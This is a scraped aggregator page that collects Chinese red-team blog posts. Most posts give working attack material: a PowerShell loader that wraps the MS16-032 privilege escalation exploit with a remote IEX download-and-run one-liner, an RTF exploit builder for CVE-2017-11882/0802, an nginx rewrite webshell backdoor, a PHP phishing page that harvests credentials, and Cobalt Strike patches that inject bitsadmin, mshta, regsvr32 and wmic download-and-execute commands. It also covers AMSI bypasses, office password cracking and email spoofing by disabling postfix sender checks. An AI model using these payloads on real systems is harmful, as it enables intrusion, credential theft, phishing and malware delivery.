Attn! Always use a VPN when RSSing!
Your IP adress is . Country:
Your ISP blocks content and issues fines based on your location. Hide your IP address with a VPN!
Bonus: No download restrictions, fines or annoying ads with any VPN Purchased!

Embed this content in your HTML

Search

Edit this Super RSS.
Account: (login)

More Channels


Channel Catalog


Channel Description:

all things
    0 0

    说 OAuth2.0 漏洞/这个协议不安全的人,把头伸过来下,砖头准备好了。 Black Hat 的有关 Pa […]

    0 0
  • 11/08/16--00:28: 记第10次印刷 (chan 69772724)
  • 《Web前端黑客技术揭秘》这本书2013.1月开售至今,已经第10次印刷,在安全类书籍中,这种成绩确实超出我们 […]

    0 0

    Seebug Paper之前收录了三篇文章有些关联性,分别是: 绕过混合内容警告 – 在安全的页面 […]

    0 0

    当代 Web 的 JSON 劫持技巧 http://paper.seebug.org/130/ 猥琐流的家伙居 […]

    0 0
  • 12/01/16--19:47: [PRE]CSRF攻击-进击的巨人 (chan 69772724)
  • 计划准备出一个PPT专门讲解CSRF里的各种奇技淫巧,除了那些老套的手法之外: https://github. […]

    0 0

    新年新气象,这个蠕虫我做了小范围测试,也提交了官方修复,小圈子里做了分享,这里正式对外公布下,出于研究而非破坏 […]

    0 0
  • 03/05/17--00:37: 蠕虫挖矿一例,无码 (chan 69772724)
  • 今天凌晨,我们的蜜网系统跳出了个有趣的字符串: zaxa2aq@protonmail.com ProtonMa […]

    0 0
  • 05/18/17--19:39: 前端黑在线工具 XSS’OR (chan 69772724)
  • 这是一个在线免费的前端黑工具,目前主要包含 3 大模块: 1. Encode/Decode 加解密模块,包含: […]

    0 0

    XSS’OR 开源了。采用 BSD 开源协议,很宽松,不限制传播与商业化,留下作者版权就好。在下面 […]

    0 0
  • 10/04/17--00:17: WordPress防火墙 (chan 69772724)
  • 用了很久了,推荐下这个: Wordfence Security 细节自己体验吧,说点别的。 WordPress […]

    0 0

    有时候,使用某些exp进行提权的时候,exp可能会被查杀,当然,有源码的话,我们可以在源码上进行修改进行免杀处理,但是今天介绍的是另外一只方法,即使用PEloader来加载exp。
    powershell的PEloader在这里,查看代码我们可以看到,这个脚本使用非常简单,具体代码如下:

    $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
    Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
    

    获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。

    这里整理了一个脚本方便转换:

    function Convert-BinaryToString {
       [CmdletBinding()] param (
          [string] $FilePath
       )
       try {
          $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
       }
       catch {
          throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
       }
       if ($ByteArray) {
          $Base64String = [System.Convert]::ToBase64String($ByteArray);
       }
       else {
          throw '$ByteArray is $null.';
       }
       $Base64String | set-content ("b64.txt")
    }
    

    使用zcgonvh的16032做演示。使用脚本转换:

    PS C:\Users\evi1cg\Desktop\16_032> . .\Convert-BinaryToString.ps1
    PS C:\Users\evi1cg\Desktop\16_032> Convert-BinaryToString -FilePath .\ms16-032_x64.exe
    

    生成base64的字符串并存储在b64.txt中。
    4B544212-75E6-4CAD-839C-18F77CA759EA.png

    使用如下命令进行转换:

    $InputString = "base64string"
    $PEBytes = [System.Convert]::FromBase64String($InputString)
    

    之后就可以使用

    Invoke-ReflectivePEInjection -PEBytes $PEBytes
    

    进行加载,最后分享一下最终的脚本:

    E2P_MS16-032.ps1

    使用方式为:

    E2P_MS16-032 -Command '"net user"'
    

    photo_2017-12-27_20-07-13.jpg

    脚本GITHUB:

    远程加载命令:

    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'"
    

    717403C9-86AA-4594-A35F-9D0A1307088C.png


    0 0
  • 01/12/18--03:41: CVE-2018-0802利用 (chan 69772723)
  • 在CVE-2017-11882之后,2018年1月份又出了一个新的“噩梦公式二代”,在野样本嵌入了利用Nday漏洞和0day漏洞的2个公式对象同时进行攻击,Nday漏洞可以攻击未打补丁的系统,0day漏洞则攻击全补丁系统,绕过了CVE-2017-11882补丁的ASLR(地址随机化)安全保护措施,攻击最终将在用户电脑中植入恶意的远程控制程序。关于此漏洞的分析,可以看这里,今天看到在github公开了一个CVE-2018-0802的利用脚本,地址在这,为了达到最完美的利用,所以编写了RTF_11882_0802。

    GITHUB:
    此脚本集合了两个公式利用漏洞。

    利用方式与之前的方式一样。

    python RTF_11882_0802.py -c "cmd.exe /c calc.exe"  -i test.rtf -o test.doc
    

    其实就是简单粗暴的把两个公式编辑器插入文档中,一个是11882,一个是0802。

    “噩梦公式二代”(CVE-2018-0802)所使用的0day漏洞堪称CVE-2017-11882的双胞胎漏洞,攻击样本中的一个漏洞针对未打补丁前的系统,另外一个漏洞针对打补丁后的系统,利用两个OLE同时进行攻击,黑客精心构造的攻击完美兼容了系统漏洞补丁环境的不同情况。这个漏洞的利用技巧和Bypass ASLR的方式都带有一定的巧合性,假如EQNEDT32.EXE模块内没有一条满足条件的ret指令可以用来绕过ASLR,假如lpLogFont不是sub_21774的第一个参数,假如CVE-2017-11882的补丁修复方式强制开启了DEP保护,“噩梦公式二代”将没有可乘之机。

    解决方案

    一、及时更新补丁

    补丁下载地址:

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802

    二、通过注册表禁用此模块,可通过修改注册表,禁用以下COM控件的方式进行缓解,其中XX.X为版本号

    在运行中输入:

    reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000- 0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
    
    reg add”HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
    

    注:此脚本只是为了安全研究,切勿非法使用!使用此脚本所造成的一切法律问题及后果,本站概不负责!


    0 0
  • 03/07/18--22:26: Hack with rewrite (chan 69772723)
  • 0x00 简介

    大家都知道apache,nginx等有rewrite的功能,通过rewrite规则可以把输入的URL转换成另一个URL,这是我们常见的一种需求,可以让我们的url变得更加简洁。但是其实这个功能也可被用于一些别的目的。下面就简单的介绍一下。

    0x01 后门

    关于通过配置文件做后门已经有很多文章有了介绍,即.htaccess.user.ini文件构造后门,关于.htaccess后门可以看这里,user.ini后门P牛也发过一篇文章,可以看这里,当然还有柠檬师傅的php.ini构成的后门。那么跟rewrite有什么关系呢。其实rewrite主要是为了逃避日志审查,通过rewrite,我们可以通过访问一个图片后缀的文件来执行我们的webshell,但是修改这些配置文件需要一定的权限。下面来进行一下简单的介绍。测试的时候主要是使用nginx,所以对nginx进行一下介绍,关于apache的配置有兴趣可以自己去查一波。下面是我的配置:
    ngingx.conf

    worker_processes  1;
    events {
        worker_connections  1024;
    }
    http {
        include       mime.types;
        default_type  application/octet-stream;
        sendfile        on;
        keepalive_timeout  65;
        include /usr/local/nginx/vhosts/*.conf;
        server {
            listen       80;
            server_name  localhost;
            location / {
                root   html;
                index  index.html index.htm;
            }
            error_page   500 502 503 504  /50x.html;
            location = /50x.html {
                root   html;
            }
        }
    }
    

    配置了多个域名的配置,所以针对某个域名的配置文件在vhosts里面,要配置的域名的配置文件:mydomain.conf

    server {
        listen 80;
        server_name  mydomain.com;
        root /www/mydomain;
        index index.html index.php;
        if ( $query_string ~* ".*[\;'\<\>].*" ){
            return 404;
        }
        location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
            expires 30d;
        }
    
        location ~ .*\.(js|css)?$ {
            expires 7d;
        }
        location ~ \.php$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
    
            include        fastcgi_params;
            #设置PATH_INFO并改写SCRIPT_FILENAME,SCRIPT_NAME服务器环境变量
            set $fastcgi_script_name2 $fastcgi_script_name;
            if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
                set $fastcgi_script_name2 $1;
                set $path_info $2;
            }
            fastcgi_param   PATH_INFO $path_info;
            fastcgi_param   SCRIPT_FILENAME   $document_root$fastcgi_script_name2;
            fastcgi_param   SCRIPT_NAME   $fastcgi_script_name2;
        }
    }
    

    要配置重定向很简单,只需要加入

        location ~ \.png$ {
        rewrite ^/img/test\.png$ /img/test.php last;
        }
    

    意思是匹配以png结尾的url,如果匹配到 img/test.png,则重定向到 img/test.php,所以,只需要在img目录下存放test.php,我们就可以通过访问 http://domain.com/img/test.png来访问。如下图:
    1520482949500.png

    关于更多匹配的规则,可以看这篇文章

    配置完需要重启nginx服务。

    0x02 基础认证钓鱼

    关于基础认证钓鱼,其实很早之前就已经有文章介绍过了,比如如何制作基础认证钓鱼页面。其实原理就是在页面中插入一个php的img,即:

    <img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>
    

    php的代码就是401的验证,当用户打开这个页面的时候,由于请求了http://site.com/1.php,所以会弹出验证的页面,用户输入账号密码之后,密码则会被攻击者记录。

    注:这种方法适用于Firefox和IE浏览器,Chrome并不会弹出基础认证窗口。

    为了让此攻击达到更好地隐蔽效果,我们可以使用rewrite来重写url。则使得访问的链接文件后缀为一个图片。为了达到更好地攻击效果,写了以下php代码:

    <?php
    $now = new DateTime();
    $user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
    $pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";
    if ($user && $pass){
        $fp = fopen("count.txt", "a");
        $content = fread($fp);
        $ip = $_SERVER["REMOTE_ADDR"];
        $all = file_get_contents("count.txt");
        fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
        $line = substr_count($all,$ip);
        fclose($fp);
    }
    if($line < 2){
        header('WWW-Authenticate: Basic realm="Corporate domain"');
    }else{
        header('content-type: image/png');
        echo file_get_contents("test.png");
    }
    ?>
    

    代码的功能就是弹出认证窗口,等待用户输入,并将输入的账号密码存到count.txt,如果此用户输入已达3次(一次输入可能是随便输入的账号密码),则输出正常图片。演示如下:

    4878.gif
    当然,你可以自己定义其他功能,比如将账号密码发送到邮箱等等。

    php代码写好了,怎么利用呢?
    其实我们要做到就是找各种编辑器,找那种可以远程插入图片的,然后插入我们的链接,如果网站直接把链接插入网站,那么在加载的时候,就会加载我们的验证页面。rewrite除了可以让后缀看起来是一个图片文件,其实还可以对一些编辑器进行绕过,比如插入远程图片的时候,编辑器对图片进行预览:

    1520488071492.png

    碰到这种情况,我们可以首先使用默认配置的nginx插入图片,如下图:

    1520488284941.png

    插入成功并提交以后,再重新修改rewrite。这样可以进行一些绕过。某种情景的攻击如下:
    demo:
    demo.gif

    为了达到更好地效果。攻击者可以注册一个看起来受信任的域名。比如说,如果攻击者的目标是targetdomain.com,那么他就可以注册如下的类似地址:

    targetdomain.co
    targetdomain.net
    target-domain.com
    targetdomain-oauth.com
    targetdomain-cdn.com
    targetdomain-images.com
    login-targetdomain.com
    

    0 0
  • 03/31/18--21:00: Cobalt strike3.8 中文支持 (chan 69772723)
  • 0x00 简介

    cobaltstrike3.10 已经出来很久了,其中最吸引人的可能就是他已经支持中文了,但是貌似很久以来都没在网上看到3.10的资源,所以就没办法,拿手上的3.8 改改将就用。

    0x01 反编译

    首先我们要对cobaltstrike3.8进行反编译,这里可以参照之前破解的方法,戳我,使用jad进行反编译。

    1522336230599.png

    0x02 修改代码

    要怎么定位到要改哪里呢?
    我们可以看一下CS的输出:

    1522336286954.png

    可以看到在输出之前有received output,所以我们就可以检索这个关键字,马上可以定位到BeaconC2.class文件,搜索“received output”一共有5个结果:

    1522336540818.png

    查看代码如下:

    1522336597408.png

    可以看到,输出的结果是由CommonUtils类的bString方法返回的,定位到CommonUtils.class文件查看代码:

    1522336678669.png

    可以看到传过来的数据使用 ISO8859-1 进行了编码。ISO8859-1属于单字节编码,最多能表示的字符范围是0-255,应用于英文系列。比如,字母a的编码为0x61=97。 很明显, ISO8859-1 编码表示的字符范围很窄,无法表示中文字符。这就是CS无法显示中文的原因。经过测试,使用 ISO8859-1 进行中间编码是不会导致数据丢失的。那么我们是不是可以修改代码把编码转过来来呢?当然可以 !

    但是由于自己比较菜,直接修改CommonUtils.java以后编译不过去(表示很难受,如果你会编译,还希望不吝赐教)。所以只能去修改BeaconC2.java。

    经过多次测试,发现在CS上执行命令以后返回的结果编码为GBK,所以转码过程为
    CommonUtils.java转码:

    GBK -> ISO8859-1
    

    我们要修改的BeaconC2.

    ISO8859-1 -> GBK -> UTF-8
    

    所以思路就很明朗了,我们只需要在传入rest之前把中文转换成UTF-8就可以了,代码也很简单,测试如下:

    1522337535419.png)

    所以关键代码为:

    String tmp = CommonUtils.bString(CommonUtils.readAll(in));
    String tmp1 = new String(tmp.getBytes("ISO8859-1"),"gbk");
    String rest = new String(tmp1.getBytes(),"utf-8");
    

    源代码是这样:

    1522337880400.png

    修改以后是这样:

    1522337852391.png

    所以找到所有的:

     String rest = CommonUtils.bString(CommonUtils.readAll(in));
    

    替换即可。

    0x03 编译替换

    修改以后,需要把BeaconC2.java编译之后替换原来的BeaconC2.class。编译方法很简单,只需要把BeaconC2.java放到解压以后的CS目录,执行以下命令:

    javac -classpath . BeaconC2.java -Xlint:unchecked
    

    在这里,可能会碰到以下报错

    1522338365724.png

    这里可以改一下代码,将

    import c2profile.MalleableHook.MyHook;
    import dns.DNSServer.Handler;
    

    改为:

    import c2profile.MalleableHook;
    import dns.DNSServer;
    

    在进行编译即可。之后将原来的BeaconC2.class替换,我们的CS就修改完成了。

    0x04 效果

    这里录了一个DEMO:

    CS.gif

    这里就不给CS了,分享一下改好的BeaconC2.class,用的时候只需要把CS用压缩包格式打开,直接替换beacon目录下的BeaconC2.class就好了。下载戳我


    0 0

    首先要下载 office2john.py,支持破解的加密为office自带的加密功能,即:
    83000-eyr1re7d788.png
    使用office2john将office转换为hash:

    python office2john.py 123.docx > hash.txt
    

    48261-cl8sxps7xum.png
    使用以下命令进行切割,转换成hashcat支持的形式:

    awk -F ":" '{print $2}' hash.txt > hashhc.txt
    

    06114-1kst5rl8a9g.png
    使用hashcat进行破解:

    hashcat -m 9500 hashhc.txt ~/wordlist/passwd.txt -o out.txt
    

    这里我使用了office2010,所以选择9500,要根据对应版本来选择

    选择版本可以使用 hashcat --help 来查看
    17293-xqb7bq65lso.png
    破解成功如下:
    56296-fi7e6sribvo.png


    0 0
  • 06/27/18--00:20: DotNetToJScript 复活之路 (chan 69772723)
  • 0x00 简介

    去年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。再此工具发布以后,很多很多的工具也在此基础上产生,比如StarFightersCACTUSTORCHSharpShooter等等,基于脚本的攻击也随之越来越多,所以在win10中,微软引入了AMSI,并将基于DotNetToJScript的脚本特征加入到检测之列。并将此工具标记为恶意软件。如果直接运行通过DotNetToJScript生成的脚本,便会直接拦截,如下图
    1530067126795.png
    最近,学到了两种bypass的方式,所以进行一下分享。

    0x01 禁用AMSI

    这里讲的禁用AMSI并不需要高权限,只需要一个简单的Trick,这个是从这篇文章学来的,通过Process Monitor 进行查看,设置以下过滤器:
    1530067444682.png
    运行通过DotNetToJScript生成的脚本,可以监控到以下调用过程:
    1530067501155.png
    这里我们可以看到,在加载AMSI之前,查询了以下注册表键值HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable,尝试修改此键值为0:
    1530067589819.png
    再次运行脚本,可以看到shellcode成功执行了,如下图:
    bypass
    虽然修改注册表可以实现禁用AMSI,但是需要高权限,那怎样才可以在普通权限下禁用AMSI,其实通过@tiraniddo的文章我们可以看到,其实可以通过DLL劫持来进行绕过。通过Process Monitor可以看到检测过程中调用了C:\Windows\System32\amsi.dll,如果我们把cscript.exe 重命名成amsi.dll会怎么样呢?

    copy c:\windows\system32\cscript.exe amsi.dll
    amsi.dll evil.js
    

    dllhijack

    可以看到成功shellcode 成功执行了,修改过滤器如下:
    1530068708904.png
    我们来看一下调用过程
    1530068764803.png
    可以看到,现在已经没有调用C:\Windows\System32\amsi.dll,这也就让我们成功执行了我们的shellcode。

    0x02 利用wmic

    Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。经过测试,通过此方式来调用DotNetToJScript的脚本也是可以成功执行的。subTee的文章在这。利用命令如下:

    #Local File
    wmic process list /FORMAT:evil.xsl
    #Remote File
    wmic os get /FORMAT:"https://example.com/evil.xsl"
    

    evil.xsl

    <?xml version='1.0'?>
    <stylesheet
    xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
    xmlns:user="placeholder"
    version="1.0">
    <output method="text"/>
        <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
        ]]> </ms:script>
    </stylesheet>
    

    修改好的脚本,可以看这里:戳我
    使用一下命令则可执行shellcode

    wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"
    

    但是使用wmic执行的时候会有一个问题,在powershell下执行会失败。如下图:
    1530081940192.png

    那么怎么调用呢?
    在读了mdsec的这篇文章以后,我们发现,其实是可以通过COM来调用的。用javascript写可以这样:

    var xml = new ActiveXObject("Microsoft.XMLDOM");
    xml.async = false;
    var xsl = xml;
    xsl.load("http://host/a.xsl");
    xml.transformNode(xsl);
    self.close();
    

    那这样我们就可以构造HTA来远程调用了。为了方便使用,我已经写好了一个aggressor脚本,地址:
    GITHUB:

    使用如下图:
    demo

    0x03参考

    https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
    https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
    https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/


    0 0
  • 06/27/18--00:51: Cobal Strike 自定义OneLiner (chan 69772723)
  • 0x00 起因

    在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:

    19484-drjxyu0m4wg.png

    而且在生成以后打开site,只需要点击Copy URL就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:
    73927-nvotona7nxc.png

    所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。

    0x01 使用javassist修改class

    Javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载javassist ,新建一个java工程,右键工程导入javassist包。

    15585-gsx22q9953w.png

    我们可能常用mshta http://host/test.png 的方式来请求payload,可以使用一下代码进行添加:

    package changeclass;
    
    import java.io.IOException;
    
    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;
    import javassist.NotFoundException;
    
    public class change {
            public static void main(String[] args) {
                updateMethod();
            }
            
            public static void updateMethod(){
                try {
                    ClassPool cPool = new ClassPool(true);
                        //如果该文件引入了其它类,需要利用类似如下方式声明
                    //cPool.importPackage("java.util.List");
                    
                    //设置cobaltstrike.jar文件的位置
                    cPool.insertClassPath("/tmp/cobaltstrike.jar");
                    
                    //获取该要修改的class对象
                    CtClass cClass = cPool.get("common.CommonUtils");
                    
                    //获取到对应的方法
                    CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
                    
                    //更改该方法的内部实现
                    //需要注意的是对于参数的引用要以$开始,不能直接输入参数名称
                    cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"
                            + "String f = garbage(\"temp\");"
                            + "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"
                            + "if (\"powershell\".equals($2)) {"
                            + "return PowerShellOneLiner($1);}"
                            + "if (\"python\".equals($2)) {"
                            + "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"
                            + "if (\"regsvr32\".equals($2)) {"
                            + "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"
                            + "if (\"mshta\".equals($2)) {"
                            + "return \"mshta \" + $1;}"
                            + "if (\"wmic\".equals($2)) {"
                            + "  return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"
                            + "print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"
                            + "throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");
                    
                    //修改以后输出目录
                    cClass.writeFile("/tmp/");
                    
                    System.out.println("=======修改方法完=========");
                } catch (NotFoundException e) {
                    e.printStackTrace();
                } catch (CannotCompileException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
    
    }
    

    在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从 $1 开始,若该方法为非 static 方法,可以用 $0 来表示该方法实例自身,若该方法为 static 方法,则 $0 不可用。而且写的代码需要将", \ 进行转义。

    运行此代码,可成功生成一个新的class:
    39332-5o637aqvh1.png

    41077-02rq3jqomynr.png

    将此class替换CS中的class就好了。

    使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic

    site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)"); 
    

    使用mshta

    site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");
    

    效果如下:
    aaa

    已经编译好的class可以从这里下载:
    GITHUB:


    0 0
  • 09/10/18--02:40: CS teamserver.bat (chan 69772723)
  • CS的teamserver经常是在linux服务器上跑的,有小伙伴问在win server上怎么跑,所以弄了一个批处理,需要的看着改改,win上面需要装java JDK,win上默认没有keytool,所以需要自己去生成一个cobaltstrike.store ~

    @echo off   
    :check_java
        java -version >nul 2>&1
        if %errorLevel% == 0 (
            goto:check_permissions
        ) else (
            echo [-] is Java installed?
            goto:eof
        )
        
    :check_permissions
        echo [+] Administrative permissions required. Detecting permissions...
        net session >nul 2>&1
        if %errorLevel% == 0 (
            echo [+] Success: Administrative permissions confirmed.
            goto:check_certificate
        ) else (
            echo [-] Failure: Current permissions inadequate.
            goto:eof
        )
    
    :check_certificate
        set certificate=".\cobaltstrike.store"
        if exist %certificate% (
            goto:test_arguments
        ) else (
            echo [!] Please generate the cobaltstrike.store !
            echo [!] Example: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
            goto:eof
        )
        
    :test_arguments
        set argC=0
        for %%x in (%*) do Set /A argC+=1
        if %argC% LSS 2 (
            echo [-] teamserver ^<host^> ^<password^> [/path/to/c2.profile] [YYYY-MM-DD]
            echo     ^<host^> is the default IP address of this Cobalt Strike team server
            echo     ^<password^> is the shared password to connect to this server
            echo     [/path/to/c2.profile] is your Malleable C2 profile
            echo     [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
            goto:eof
        ) else (
            goto:run_cobal
        )
    :run_cobal
        java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer %*
    

    90107-dm8rzqvop8m.png


    0 0

    最近改exp的时候用到的,加到exp里面回显执行信息,保存一份~

    #include <windows.h>
    #include <stdio.h>
    #define EXE_NAME    NULL//TEXT("Cmd.exe")
    #define EXE_CMD     TEXT("Cmd.exe /C ipconfig/all")
    int main()
    {
    
            char Buffer[4096];
            STARTUPINFO sInfo;//新进程的主窗口特性
            PROCESS_INFORMATION pInfo;
            SECURITY_ATTRIBUTES sa;
            HANDLE hRead, hWrite;
            DWORD bytesRead;    //读取代码的长度
            sa.nLength = sizeof(SECURITY_ATTRIBUTES);/ /结构体的大小,可用SIZEOF取得
            sa.lpSecurityDescriptor = NULL;//安全描述符
            sa.bInheritHandle = TRUE;;/ /安全描述的对象能否被新创建ÆÆ的进程继承
    
            if (!CreatePipe(&hRead, &hWrite, &sa, 0)) //创建匿名管道
            {
                return GetLastError();//返回最近的一个错误,0表示正常
            }
    
            GetStartupInfo(&sInfo);
            sInfo.cb = sizeof(sInfo);
            sInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
            sInfo.wShowWindow = SW_HIDE;
            sInfo.hStdError = hWrite;   //将管道的写端交给子进程
            sInfo.hStdOutput = hWrite;
            memset(&pInfo, 0, sizeof(pInfo));
    
            if (!CreateProcess(EXE_NAME, EXE_CMD, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo)) //创建子进程
            {
                CloseHandle(hWrite);
                CloseHandle(hRead);
                return GetLastError();
            }
            CloseHandle(hWrite); //关闭父进程的写端
    
            
            for (int i = 0;; ++i)
            {
                if (!ReadFile(hRead, Buffer, sizeof(Buffer) - 1, &bytesRead, NULL)) //读取内容
                {
                    break;
                }
                Buffer[bytesRead] = 0;
                printf("%s\n", Buffer);
    
            }
    
            WaitForSingleObject(pInfo.hProcess, INFINITE);//当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限;
        CloseHandle(hRead);
        system("pause");
        return 0;
    }
    

    from: http://www.cnblogs.com/onlyac/p/5346478.html


    0 0
  • 10/10/18--23:23: Something about email spoofing (chan 69772723)
  • 0x00 这是个啥?

    一般来说,我们收到一封邮件之后,都会首先看发件人,如果是比较重要的邮件,我们可能会去看发件人地址,但是,如果发件人是伪造的,你还能知道是谁再给你发邮件么?
    当我们在谷歌搜索发件人伪造的时候,可以看到很多很多的网站提供了这样的功能:
    1539051635438.png

    这些网站没有测试,不知道能不能成功伪造。

    那到底是什么导致的发件人伪造呢?下面我们来分析分析造成发件人伪造的成因。

    0x01 SMTP是什么?

    要想了解成因,我们需要首先了解一下什么是SMTP,首先先了解一下几个概念:
    MUA:Mail User Agent。用户邮件代理,用户通过MUA接收发送邮件.例如Outlook, FoxMail等。
    MTA: Mail Transfer Protocol。邮件传输代理,是SMTP的一种实现,MTA仅仅负责邮件的传输。如果信件的目的地并不是本身的用户,且该封信的相关数据符合使用 MTA 的权力, 那么MTA 就会将该封信再传送到下一部主机上。这即是所谓的转递的功能。
    MDA: Mail Deliver Agent,邮件分发代理。负责将接收到的邮件保存在邮件服务器上,在这里可以设置对邮件进行过滤或自动回复。
    MRA: Mail Receive Agent,邮件接收代理,用来实现IMAP,POP3协议,负责与MUA交互,将服务器上的邮件通过IMAP以及POP3传输给客户端。

    SMTP全称是Simple Mail Transfer Protocol,直译过来就是简单邮件传输协议,主要的工作就是把邮件信息从发件人的邮件服务器中传送到接收人的邮件服务器中,偶尔我们使用MUA来发送邮件的话,也承载传输用户邮件到发件服务器的功能,但是SMTP存在一个问题,就是没有对发送方进行一个身份验证。用下面的图来说明一下邮件的投递过程。

    1539064815052.png

    1、用户利用MUA寄信到MTA,这里面包含了几个项:
    发信人与发信网站:例如 admin@evi1cg.me,其中evi1cg.me就是发信网站,即收信件的MTA。
    收信人与收信网站:例如 admin@email.server,其中admin就是email.server里的一个账号。
    2、当MTA收到信件后,会通过DNS的MX记录进行查询,如果email.server是MTA自己,此时MTA就会把邮件交给MDA处理,放置到收信者的信箱中。
    3、如果email.server不是自己,那么这个信件就会被转送出去。
    4、当远程MTA收到本地MTA转发的邮件后,会将信件交给它的MDA处理,等待用户的读取或下载。

    正是由于MTA之间转发邮件是不需要认证的,所以这就成了可以伪造发件人的原因。

    0x02 怎么搭建SMTP Server?

    如何快速搭建自己的SMTP Server?这个网上有很多教程,这里为了快速搭建,可以选择使用ewomail,代码是开源的,搭建起来也比较方便,也有很好地说明文档,EwoMail是基于postfix和Dovecot,按照说明文档很快就可以部署完毕了,部署完毕以后需要添加用户账号:
    1539071369229.png
    之后就可以通过添加的账号来发送邮件了。

    0x03 如何伪造域名?

    关于伪造域名有一个很好用的工具SimpleEmailSpoofer,下面我们就使用这个工具来测试一下:

    python SimpleEmailSpoofer.py -t 目标邮箱 -f 要伪造的发件人地址 -n From_name -e 邮件内容 -j 邮件主题 -s 你自己的smtp地址 -p 25 --user 你添加的用户 --pass 你添加用户的密码
    

    1539071731274.png

    在这里可以看到报错了,Sender address rejected: not owned by user xxx, 这里是postfix设置的问题。需要进行一下修改/etc/postfix/main.cf
    找到smtpd_sender_login_maps,修改为:

    smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre
    

    新建/etc/postfix/login_maps.pcre

    /^(.*)$/ test@yourdomain.com
    

    意思是允许用户test@yourdomain.com的用户使用任意domain

    找到smtpd_recipient_restrictions,删除reject_unknown_sender_domain,这样就不会对发送的域进行验证了。

    修改完成以后,执行以下命令:

    postmap /etc/postfix/login_maps.pcre
    postfix reload
    

    修改完成以后,再次发送:

    1539072657218.png

    查看gmail:
    1539078304784.png

    1539072834239.png

    当然,在原始邮件里面,还是有自己的域名信息。如何尽量减少自己的信息,可以参考这篇文章

